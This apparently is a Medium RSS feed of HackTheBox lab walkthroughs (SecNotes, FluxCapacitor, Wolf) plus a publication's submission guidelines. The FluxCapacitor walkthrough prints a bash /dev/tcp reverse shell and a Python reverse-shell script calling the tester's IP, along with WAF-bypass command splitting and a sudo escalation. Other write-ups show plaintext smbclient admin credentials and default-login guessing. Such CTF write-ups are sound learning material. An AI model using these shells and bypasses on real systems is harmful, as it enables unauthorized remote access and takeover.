src="https://cdn-images-1.medium.com/max/600/1*f3Ep9GHI22mrWi8Pz8NUnQ.png" /></figure><p>We poked around this subsystem for a while, and found a .bash_history file populated with some entries:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*BRyVW27XImkUZl1gjMzuCg.png" /></figure><p>In the above image, the administrator password is in plaintext:</p><pre>smbclient -U &#39;administrator%u6!4ZwgwOM#^OBf#Nwnh&#39; \\\\127.0.0.1\\c$</pre><p>We could run this command to gain administrative access to the smb share at localhost\c drive.</p><p>From here, we poked around some more, discovering a root.txt in the users/administrator/desktop folder, which we used “get” on, and from here, we exited smbclient, where the root.txt file was stored in the current working directory we ran smbclient from.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*LDSaxaIQ6PcczPT3IvB-_w.png" /></figure><p><strong>Root flag</strong>: 58e0d4be0f6acd1ebff35fbb804c8458</p><h3>Keywords</h3><p>Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb SecNotes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*gP-W84F4vCLKlmlWT_qjpA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f235ce8c4018" width="1" height="1" alt=""><hr><p><a href="https://medium.com/infosec-watchtower/hackthebox-write-up-secnotes-f235ce8c4018">HacktheBox Write up — SecNotes</a> was originally published in <a href="https://medium.com/infosec-watchtower">Infosec WatchTower</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Submission Guidelines — Infosec WatchTower]]></title>
            <link>https://medium.com/infosec-watchtower/submission-guidelines-infosec-watchtower-ff144eafb939?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff144eafb939</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[publications-on-medium]]></category>
            <category><![CDATA[submission-guidelines]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Fri, 19 Jan 2024 18:03:19 GMT</pubDate>
            <atom:updated>2024-01-19T18:05:49.240Z</atom:updated>
            <content:encoded><![CDATA[<h3>Submission Guidelines — Infosec WatchTower</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*qOYXjuZvZz3aJpIlywOszw.png" /></figure><p>Welcome to <a href="https://medium.com/infosec-watchtower"><strong>Infosec WatchTower</strong></a>. This publication has been recently created to as Medium’s newest compilation of in-depth write-ups from the best hackers on topics ranging from bug bounties and CTFs to exploit POCs to read team/blue team recaps to any news in the Cybersecurity world. Our goal is to give people a network to share their work, as well as providing a platform to learn and develop their skills by bouncing information off other writers.</p><blockquote>Many readers are unaware of this, but you can clap 50 times on any post. If an article teaches you something, feel free to click the button 50 times!</blockquote><h3>What It Means to be Published with Infosec WatchTower</h3><ul><li>The story will still appear on your profile page.</li><li>As the author, you retain all rights to your story.</li><li>Your story will not only be shown to your followers, but will be shown to everyone following Infosec WatchTower as well.</li></ul><h3>How to Submit?</h3><h4>If requesting submission:</h4><p>If you think this publication is a good place for your write-up and you are not already a writer in this publication, send an email with your Medium profile link and with the subject “<em>Infosec Watchtower Submission Request</em>” to <strong>infosecwatchtower@gmail.com.</strong></p><h4>Tips:</h4><ol><li>Try to embed images in your write-ups so that the reader can understand what you are exactly trying to explain.</li><li>Use Medium text editing features to highlight, quote, etc., and make it look more visually appealing.</li><li>If you have to embed big chunks of code, consider using <a href="https://gist.github.com/">https://gist.github.com/</a>.</li><li>If you want to take it a step further and make it grammatically correct, you can try using <a href="https://www.grammarly.com/">Grammarly</a>.</li><li>Try to keep the write-ups short (~8 min read). If not possible, make it into parts and append the link to other parts below the others.</li><li>Upload videos to Youtube, and then you can embed them.</li><li>Be sure to properly cite any images and text you have taken from other creators; we aim to provide everyone with appropriate credit and recognition.</li></ol><h4>If your article has been selected</h4><p>We are always looking for great pieces published on Medium to share with our audience. If one of our editors left a private note on your story asking you to submit it, here’s what you can do:</p><p>According to <a href="https://help.medium.com/hc/en-us/articles/213904978-Add-draft-or-post-to-publication">Medium’s official guidelines</a>, submit your story to Infosec WatchTower:</p><ol><li>Open the story you want to submit. Click the <strong>three-dot button </strong>at the top right, then <strong>Edit story </strong>to enter the edit mode.</li><li>In the edit mode, click the <strong>three-dot button</strong> in the top-right corner of the page to open your story settings.</li><li>Select <strong>Add to publication</strong> from the dropdown list.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/213/1*2PPlBAtEOdkOtjlelROjng.png" /></figure><p>4. Choose <strong>Infosec WatchTower </strong>and click <strong>Save</strong>.</p><p>It is preferred to submit drafts for publication rather than submitting a previously published post. Submitted drafts will be published within 24 hours.</p><p><strong>Please note</strong> that Infosec WatchTower reserves the right to add relevant text and/or links at the bottom of the article. This won’t affect your readability or context. Only submit articles to us if you agree to this clause.</p><p>Thank you for being part of our publication at such an early stage!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*e8H2h__esaqQv4bO8-5eeA.png" /></figure><p>© [2024] Infosec WatchTower. All rights reserved. Unauthorized use or reproduction of content is prohibited. For inquiries, contact Infosec WatchTower.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff144eafb939" width="1" height="1" alt=""><hr><p><a href="https://medium.com/infosec-watchtower/submission-guidelines-infosec-watchtower-ff144eafb939">Submission Guidelines — Infosec WatchTower</a> was originally published in <a href="https://medium.com/infosec-watchtower">Infosec WatchTower</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HacktheBox Write up — Spectra]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://systemweakness.com/hackthebox-write-up-spectra-7e256aa99ff6?source=rss-43f19163806c------2"><img src="https://cdn-images-1.medium.com/max/600/1*NC1bsEd4dFBHA1-x9z-Y0g.png" width="600"></a></p><p class="medium-feed-snippet">HTB Walkthrough/Answers at Bottom</p><p class="medium-feed-link"><a href="https://systemweakness.com/hackthebox-write-up-spectra-7e256aa99ff6?source=rss-43f19163806c------2">Continue reading on System Weakness »</a></p></div>]]></description>
            <link>https://systemweakness.com/hackthebox-write-up-spectra-7e256aa99ff6?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/7e256aa99ff6</guid>
            <category><![CDATA[learn-to-code]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Wed, 17 Jan 2024 22:24:05 GMT</pubDate>
            <atom:updated>2024-01-25T11:22:16.279Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[HacktheBox Write Up — FluxCapacitor]]></title>
            <link>https://13xch.medium.com/hackthebox-write-up-fluxcapacitor-18a78c3d8bdd?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/18a78c3d8bdd</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[learning-to-code]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Tue, 16 Jan 2024 23:00:19 GMT</pubDate>
            <atom:updated>2024-01-16T23:00:19.033Z</atom:updated>
            <content:encoded><![CDATA[<h3>HacktheBox Write Up — FluxCapacitor</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*hQi1FY5URVn9HDOcYHalAw.png" /></figure><blockquote>HTB Walkthrough within, ctrl+F for “Root Flag” to quick search</blockquote><blockquote>Findings/Recommendations at bottom</blockquote><h3>Key Takeaways</h3><p>The version being used to host the webserver (OpenResty 1.13.6.1), is a version that can be simply compromised using a well-known exploit (See Ref 1.2). From this initial point of entry, the attacking team was able to capture network traffic to the organization’s webserver and modify it, sending malicious information to it, executing unauthorized commands on the organization’s network that were not blocked by the tool put in place to block malicious traffic, called SuperWAF (See Ref 1.3 and 1.4). From here, the attacker placed a malicious file in a directory on the machine that was able to have files placed in it by any user (See Ref 1.5), which then let them gain access to the machine from their local machine and then escalate their privileges to the highest access by abusing a certain script that was left unprotected (See Ref 1.6).</p><h3>Objectives</h3><p>Obtain the user flag by gaining any kind of remote access to the target machine/environment and extract the “user flag” string of characters, then escalate privileges, often to the “root” user or system owner to then get the “root flag,” typically only accessible by this user.</p><h3>Attack Path</h3><h4>Enumeration</h4><p>To begin, we ran an nmap scan on this box, as we typically do. This shows us what ports and services are available and running on this target machine.</p><pre>nmap -sV -sC -p- 10000 10.129.235.213</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*5wx6F5fKE0AbenXrspdobA.png" /></figure><p>Our first nmap scan got blocked, so we threw in the -Pn flag to avoid detection.</p><p>“The -Pn option in Nmap stands for “No Ping.” When you use this option, Nmap will skip the host discovery phase and will not send ICMP echo requests (ping) to determine if the target hosts are online. This is useful when you want to scan a target without relying on ping probes to check for host availability.<a href="#_ftn1">[1]</a>”</p><p><a href="#_ftnref1">[1]</a> <a href="https://nmap.org/docs.html">https://nmap.org/docs.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*HGUw0R-O0TOmKK6_wYmq4g.png" /></figure><p>We got no output again. From here, we opened up zenmap to let it configure our scan for us, that way we could get an output and see what we are looking at.</p><h4>Zenmap</h4><p>We performed an intense scan, and this time, were given an output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*DRr4CISeWpkeoVsPXQdbFw.png" /></figure><p>With only one option here, we went in our browser to see what this webserver was.</p><h4>Port 80 Enumeration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*mIW6TX_Mxnk3kpmJ6k-R6Q.png" /></figure><p>Nothing too obvious from this, and wappalyzer did not detect anything.</p><h4>Dirbuster</h4><p>We also threw this into Dirbuster to see if there were any webpages we could check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*pAk0VjatvCnTfCdTDw0FAA.png" /></figure><p>While this ran, we went back to the webpage to see if there was something we missed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*y_bQF1eFaxeNNjk3HdoJTQ.png" /></figure><p>The page source revealed a /sync, which after we put in our browser, was a 403 forbidden page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*bnSPKOEY5Kau0khL-Qi7Jw.png" /></figure><p>This did, however, reveal to us a software and version.</p><p>“OpenResty® is a full-fledged web platform that integrates our enhanced version of the Nginx core, our enhanced version of LuaJIT, many carefully written Lua libraries, lots of high quality 3rd-party Nginx modules, and most of their external dependencies. It is designed to help developers easily build scalable web applications, web services, and dynamic web gateways.”<a href="#_ftn1">[1]</a></p><p>We also decided to see if this version of this software was vulnerable to a known exploit — and it was. A google search revealed a 9.8 scored CVE<a href="#_ftn2">[2]</a> to us.</p><p><a href="#_ftnref1">[1]</a> <a href="https://openresty.org/en/">https://openresty.org/en/</a></p><p><a href="#_ftnref2">[2]</a> <a href="https://nvd.nist.gov/vuln/detail/CVE-2018-9230">https://nvd.nist.gov/vuln/detail/CVE-2018-9230</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*NbDcS4-hgmg6NFRJkrjA3g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*MYF2MEqqRLtmmqkIcwcFrw.png" /></figure><p>This was great news, as we discovered a potentially unpatched vulnerability with a known exploit.</p><h3>CVE-2018–9230</h3><p>From the above page, there was a link to a GitHub repo with the exploit and its proof of concept<a href="#_ftn1">[1]</a>.</p><p><a href="#_ftnref1">[1]</a> <a href="https://github.com/Bypass007/vuln/blob/master/OpenResty/Uri%20parameter%20overflow%20in%20Openresty.md">https://github.com/Bypass007/vuln/blob/master/OpenResty/Uri%20parameter%20overflow%20in%20Openresty.md</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*VCxFfhBfT7y9CNARmvUVPw.png" /></figure><p>There was also a YouTube video that walked us through the steps<a href="#_ftn1">[1]</a> on how to perform this exploit.</p><p>Before we attempted this exploit, we had to figure out how the webserver worked.</p><p><a href="#_ftnref1">[1]</a> <a href="https://www.youtube.com/watch?v=VojxoLMxH38">https://www.youtube.com/watch?v=VojxoLMxH38</a></p><p>By this time, our Dirbuster scan had basically finished, and other than /sync, there was not anything of interest.</p><h4>Testing Port 80/Request Modification in Burpsuite</h4><p>To see what was being sent in our requests to the server, we captured a packet in Burpsuite to analyze it<a href="#_ftn1">[1]</a>.</p><p><a href="#_ftnref1">[1]</a> <a href="https://portswigger.net/burp/documentation/desktop/getting-started/intercepting-http-traffic">https://portswigger.net/burp/documentation/desktop/getting-started/intercepting-http-traffic</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*bDzfakBtL3cLrvZ9DABhyg.png" /></figure><p>We sent this to the repeater to see what was being sent along with the 403: Forbidden output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*JeHvXKmZyTTz2rRwX-ct7A.png" /></figure><p>Nothing of too much interest. Keeping in mind the idea that it is possible for Web-apps to filter out User-Agents, we removed the User-Agent HTTP header from our GET request entirely, and were given a 200 response.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*SFvt1aQXAOXfC131ykoqJA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*6srCUoKrjZIw477TmQm7rw.png" /></figure><p>Rendering this page output a timestamp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*xMTmZMfXcNcG6u4NJeSY_Q.png" /></figure><p>With our web development experience, we guessed that this output could have been part of some RCE test, where a timestamp was output when code was executed successfully, so if we could modify the packet to be sent through to include a command, we could achieve RCE.</p><h4>Wfuzz</h4><p>With the help of a guide<a href="#_ftn1">[1]</a>, we attempted to use wfuzz to see what else was available to us on the webserver.</p><p><a href="#_ftnref1">[1]</a> <a href="https://null-byte.wonderhowto.com/how-to/fuzz-parameters-directories-more-with-ffuf-0330806/">https://null-byte.wonderhowto.com/how-to/fuzz-parameters-directories-more-with-ffuf-0330806/</a></p><p>We used this command:</p><pre>wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H &quot;User-Agent: nothing&quot; - hh=19 http://10.129.235.213:80/sync?FUZZ=test</pre><blockquote>wfuzz: This is the command-line utility for web application brute-forcing, fuzzing, and vulnerability scanning.</blockquote><blockquote>-c: Colorize the output for better readability.</blockquote><blockquote>-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt: Specifies the wordlist file to be used for fuzzing. In this case, it’s using the directory-list-2.3-medium.txt wordlist located at the specified path.</blockquote><blockquote>-H “User-Agent: nothing”: Sets a custom HTTP header for the requests. In this case, it sets the User-Agent header to “nothing”.</blockquote><blockquote>— hh=19: Filters the responses based on the specified HTTP response code. In this case, it filters responses with an HTTP response code of 19.</blockquote><blockquote>“http://fluxcapacitor.htb/sync?FUZZ=test&quot;: The target URL with the FUZZ placeholder. The FUZZ placeholder will be replaced by each entry from the wordlist during the fuzzing process. The parameter test is appended to each FUZZ value.</blockquote><p>That command gave us a short output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*4_2gtEC8F1T_phYBUTvhRw.png" /></figure><p>From this, we knew that we had to find out what the “opt” parameter was for, and how we could manipulate it.</p><h4>Modifying “opt”</h4><p>Since we had a packet already captured in burp, we just used this one in the repeater.</p><p>This part involved a lot of trial and error.</p><p>Here are some keys to what we found:</p><blockquote>- A command would return a timestamp if enclosed with ‘</blockquote><blockquote>- A command would return nothing if with no ‘</blockquote><blockquote>- ‘pwd’ returned a 403 forbidden</blockquote><blockquote>- ‘ls’ returned a 403 forbidden</blockquote><blockquote>- ‘ ‘, ‘/’, and ‘’ all returned the timestamp, with the “Server” header as SuperWAF</blockquote><blockquote>- This didn’t appear to be a real service, rather a WAF for this box</blockquote><blockquote>- Separating commands with “’” seemed to provide some output</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/455/1*NR5As-ncAjykzYS5N2-pig.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*81UJS-HdBezx7tRkvKB3zQ.png" /><figcaption>In the above images, we were given an output other than a 403 response or a timestamp. We then tried this format of separating characters of a command with an ‘.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*sGJzrQj71RJK5IMjgVAVvw.png" /><figcaption>1 of 2 (See below for response)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*ALqjt_OGE-mkNx3MzRIWww.png" /><figcaption>2 of 2 (See above for request)</figcaption></figure><p>This was a major breakthrough, as we had RCE and were able to run commands on the machine to determine how we could enter it.</p><p>By following the format of separating commands with ‘ ‘, we could pass whatever filter was blocking them.</p><p>Example:</p><p>Command to run: id</p><p>In opt: ‘ I’’d’</p><p>From here, we could get an idea of the makeup of the directories in this machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*YIKoe_gD6yO6WJIyNHQQjg.png" /><figcaption>1 of 2 (See below for response)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*PWHpjMzKz1P0UO76-2CExQ.png" /><figcaption>2 of 2 (See above for request)</figcaption></figure><p>While we had this ability, we also tried a reverse shell to make navigation easier.</p><p>With this command:</p><pre>bash -c &#39;bash -i &gt;&amp; /dev/tcp/10.10.14.8/4444 0&gt;&amp;1&#39;</pre><p>We could launch a reverse shell back to a listener on our device. To do this, we first had to figure out how to pass the command.</p><p>After trying to split up the command for a long time, we were unable to get a shell to pass through as a command.</p><h4>Privilege Escalation</h4><p>So, we were left with escalating our privileges through seeing what the user we were acting as could do.</p><p>We ran sudo -l, but to do this, we had to pass:</p><pre>&#39; su&#39;&#39;do -l&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*T5rADif6SqCDJ_7T30podg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*ChvgTc3NcfyIf_UhqUBmEw.png" /></figure><p>We were able to run .monit as root, which we took note of. At this point it was still bugging us having to figure out a way to pass commands through burp and splitting them up by trial and error, so we had to figure out a way to get a shell.</p><p>We had to figure out if this machine had python, and if it did, we could attempt to grab a reverse shell hosted on our local machine and then execute it.</p><h4>Python Reverse Shell Attempt #2</h4><p>To do this, we had to ls the /etc directory, which we did with this command:</p><pre>&#39; l\s -la /et\c/&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*k_7EUc0LPqLkK8DWsdfMdQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*pdWSb1IDVlDsBcx59iTa4w.png" /></figure><p>This was good, as we found it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*AT1VcPW_lTZloT4n7pCcWQ.png" /></figure><p>Now, we had to use our python reverse shell script and make it available for the burp requested command to grab:</p><pre><br>import socket,subprocess,os<br>s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)<br>s.connect((&quot;10.10.14.8&quot;,4444)) #CHANGE THIS<br>os.dup2(s.fileno(),0)<br>os.dup2(s.fileno(),1) <br>os.dup2(s.fileno(),2)<br>p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;])</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*eIBWoZfwgHi6p-gP19XQuw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*e31ee30oNsPkco2PwrZVUA.png" /></figure><p>Now, as mentioned before, we had to make use of the .monit binary that we had access to, which when “catted” using the burp command tactic we have been making use of, outputs to this:</p><pre>#!/bin/bash<br>if [ &quot;$1&quot; == &quot;cmd&quot; ]; then<br> echo &quot;Trying to execute ${2}&quot;<br> CMD=$(echo -n ${2} | base64 -d)<br> bash -c &quot;$CMD&quot;<br>fi</pre><p>Here’s a breakdown of the script:</p><blockquote>- if [ “$1” == “cmd” ]; then: Checks if the first argument is equal to the string “cmd”.</blockquote><blockquote>- echo “Trying to execute ${2}”: Prints a message indicating an attempt to execute a command.</blockquote><blockquote>- CMD=$(echo -n ${2} | base64 -d): Decodes the second argument from base64 and assigns it to the variable CMD.</blockquote><blockquote>- bash -c “$CMD”: Executes the decoded command using bash.</blockquote><p>From this, it appeared that we needed to send a base64 encoded command in order for it to execute as sudo.</p><p>We knew the normal command, but we had to base64 encode it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*OZJDvqxUwbMYtw-W1PBsGg.png" /></figure><p>Now that we had created our base64 encoded command to pass through our RCE technique, we had to alter it to bypass the WAF. Since figuring out the “proper” way to do it would have taken too long, we simply threw a backslash in between each character.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*hJuw1D3jWd9y6md81_XE8Q.png" /></figure><p>We also had to specify the binary to be ran:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Z_WEQ7fXILjYvyRCXNl0ZA.png" /></figure><p>We checked back on our http server to see that it successfully grabbed the reverse shell and placed it in /tmp:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*1tSO_ZOW6MmNDPC7c7HZWg.png" /><figcaption>EDITOR NOTE: From this image, it is clear that the file was not successfully grabbed, we will see why in a little bit. For now, keep reading!</figcaption></figure><p>Success. We could now attempt to execute the file and gain a connection on our netcat listener.</p><p>We had to follow the same strategy as before, base64 encoding the command to be ran, then separating each character with a backslash before running it with .monit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*XFEDefq3kBfqY05YMjyVXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Zd_adZdTg_DW3x5awXUJPw.png" /></figure><p>After sending this packet, we checked our listener:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/438/1*Sxfg1_q85YOpTnl9owTlDw.png" /></figure><p>No hit.</p><p>Let’s make sure that our reverse shell had been successfully placed into the /tmp directory as we assumed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*nFGMaXcy-5LvxJIqDDX2Gw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Rm9Y4C8t8F4gZO-6hu9JqA.png" /><figcaption>Explanation for why it isn’t there coming up.</figcaption></figure><p>We assumed that we had successfully placed it there, but we didn’t. Looking back at our http server we were hosting, we noticed that something had been wrong with our command to grab the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Hb_pCzA_1BnchoUSO3awrQ.png" /><figcaption>Bang</figcaption></figure><p>It is possible that the tail end of our command we passed to the .monit got cut off by the WAF, so we had to re-run it with another \ at the end.</p><p>After altering what we passed through .monit many times, we were unable to figure out how to get the last y in .py to be included, and our wget kept requesting a .p file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*4Qq5NXOHbJhsmXV_pD7GOQ.png" /></figure><p>Eventually, we just changed up how we base64 encoded the command, along with a shorter version of the command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*Hj63ORsOf1iqBcr9iQmXwA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*HB7RddTvnQbYEEPJQXgXzw.png" /><figcaption>Verification this time!</figcaption></figure><p>We then ran the command to execute this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*p-7_Rsoo6rtz0iCr5v9n5g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*v0pvaSUN_8ZQyOAecUqJ6A.png" /></figure><p>We had finally gotten a shell.</p><p>We were in as user “nobody.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/170/1*ZMHqempyyUh9Nk1dhIaSEw.png" /></figure><h4>Shell as nobody</h4><p>We spawned a more interactive TTY shell with:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*AS92dXPloIEO0wpUGO-q4g.png" /></figure><p>From here, we could grab the user flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*rz_vAe_0mG7TyGZEwP5rpQ.png" /></figure><p><strong>User flag</strong>: f3b77e6c50ff7b319db3e5187569d1f0</p><p>Note: There is another user.txt in /FluxCapacitorInc, but it is not accepted as the flag.</p><h3>Privilege Escalation (In Shell)</h3><p>This part was easy to perform, as we knew we had access to run the .monit binary as sudo, and any command we passed as base64 encoded would run as sudo without asking for a password.</p><p>So, all we had to do to grant ourselves root access was run the binary with the command “sudo su” as base64, which was this command:</p><pre>sudo /home/themiddle/.monit cmd c3VkbyBzdQ==</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*38YK5MaUBSFkMmZBPL46QA.png" /></figure><p>We had been granted root access.</p><p><strong>Root flag</strong>: 824f05394181c386a42fc6c6f13053dc</p><h3>Keywords</h3><p>Ethical hacking case study, Penetration testing findings, HTB box analysis, Vulnerability assessment report, HTB answers, Cybersecurity testing insights, Hack The Box report, Penetration tester’s analysis, HTB challenge resolution, Ethical hacking techniques, Security assessment report, Hacker’s perspective on HTB, Network penetration testing, Exploitation and remediation, Hack The Box success story, Ethical hacking best practices, Vulnerability identification, Real-world hacking scenario, Penetration testing case study, Practical hacking lessons, htb fluxcapacitor</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/291/1*pwssmTRNlYGwkHwo3hGqbg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=18a78c3d8bdd" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HacktheBox Write Up — Wolf]]></title>
            <link>https://13xch.medium.com/hackthebox-write-up-wolf-3ce8d8b085cb?source=rss-43f19163806c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3ce8d8b085cb</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[learning-to-code]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[13xch]]></dc:creator>
            <pubDate>Mon, 15 Jan 2024 22:42:12 GMT</pubDate>
            <atom:updated>2024-01-15T22:42:12.214Z</atom:updated>
            <content:encoded><![CDATA[<h3>HacktheBox Write Up — Wolf</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*CRogp5SO16jYWkj-ZEQZKg.png" /></figure><blockquote>HTB Walkthrough within, ctrl+F for “Root Flag” to quick search</blockquote><blockquote>Findings/Recommendations at bottom</blockquote><h3>Key Takeaways</h3><p>In this assessment, the team was able to gain an initial point of entry from an admin account to a particular service having credentials left set to default (admin:admin) (See Ref 1.2).</p><p>Another major finding was the software version of said service being vulnerable to a simple and well-known attack that has since been patched by the vendor, though left out-of-date on the infrastructure. This lack of staying up to date allowed for more privileges and movement within the system (See Ref 1.3).</p><p>Finally, a lack of proper configuration of user accounts allowed the assessing team to modify a task that was running in order to grant themselves access to essentially perform whatever task they wanted (See Ref 1.4).</p><h3>Objectives</h3><p>Obtain the user flag by gaining any kind of remote access to the target machine/environment and extract the “user flag” string of characters, then escalate privileges, often to the “root” user or system owner to then get the “root flag,” typically only accessible by this user.</p><h3>Attack Path</h3><h4>Enumeration</h4><p>To begin, we ran an nmap scan on this box, as we typically do. This shows us what ports and services are available and running on this target machine.</p><p>nmap -sV -sC -p- 10000 10.129.235.188</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*YoS1-txayEVEzpFIRZ5-RA.png" /></figure><p>This output gave us some interesting clues about the target machine. The most interesting perhaps, was the port 8031 service — ManageEngine Desktop Central DesktopCentralServer.</p><p>“ManageEngine Desktop Central is a Unified Endpoint Management solution that helps in managing servers, desktops, laptops and mobile devices from a single console1. It has different editions with different features, such as the UEM edition that supports both legacy and modern management for Windows and macOS1. To configure ManageEngine Desktop Central, you must download the metadata file from the Certificate Management page in the AuthPoint management UI2.<a href="#_ftn1">[1]</a>”</p><p><a href="#_ftnref1">[1]</a> <a href="https://www.watchguard.com/help/docs/help-center/en-us/Content/Integration-Guides/AuthPoint/ManageEngine-Desktop-Central-saml_authpoint.html?TocPath=Integration-Guides%7CAuthPoint%7C_____99">https://www.watchguard.com/help/docs/help-center/en-us/Content/Integration-Guides/AuthPoint/ManageEngine-Desktop-Central-saml_authpoint.html?TocPath=Integration-Guides%7CAuthPoint%7C_____99</a></p><p>With this in mind, we began to see what other possible points of discovery we could look into. The first of which was the port 8022 http service, which we navigated to in our browser.</p><h4>Port 8022 Enumeration — ManageEngine</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*v8Fa5lGBP_qwHtrynito7A.png" /></figure><p>This led us to a login page for the service we discovered earlier.</p><p>Immediately, we tried logging in with some default credentials, which we found from <a href="https://cirt.net/passwords">https://cirt.net/passwords</a>.</p><p>The first combination we tried was admin:admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*idCfc5YEGQ925bFhO_I7hw.png" 